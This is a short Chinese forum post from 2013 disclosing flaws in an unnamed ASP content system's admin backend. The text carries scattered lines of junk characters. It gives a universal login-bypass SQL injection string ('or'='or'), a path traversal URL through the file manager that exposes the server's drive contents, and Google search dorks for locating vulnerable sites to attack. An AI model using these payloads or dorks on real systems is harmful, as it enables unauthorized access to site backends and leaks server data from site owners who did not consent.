后台万能密码 'or'='or'
9 l. |0 |4 `& ~! y8 y. n; m' B! }: `' z! \8 s
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！' A2 U3 ^& I9 s) C, x" s9 ^7 k
admin/uploadfile.asp?currentFolder=/upfiles/../
1 i; `4 V1 ~' \, \( e! P$ M3 F/ c, z- b0 G8 r
漏洞证明：6 j! c/ f: T+ ~% |; l
" l) V3 t, H5 e q5 T( u4 ^6 N. d谷歌：inurl:type.asp?id=1 新闻中心# \- }. A8 |2 i1 O+ u* c
或者 ：inurl:download_ok.asp?
) U) `2 Y6 N$ d2 r* M" K' g6 q- _; j
|
发表于 2013-3-14 20:17:32
收藏
支持
反对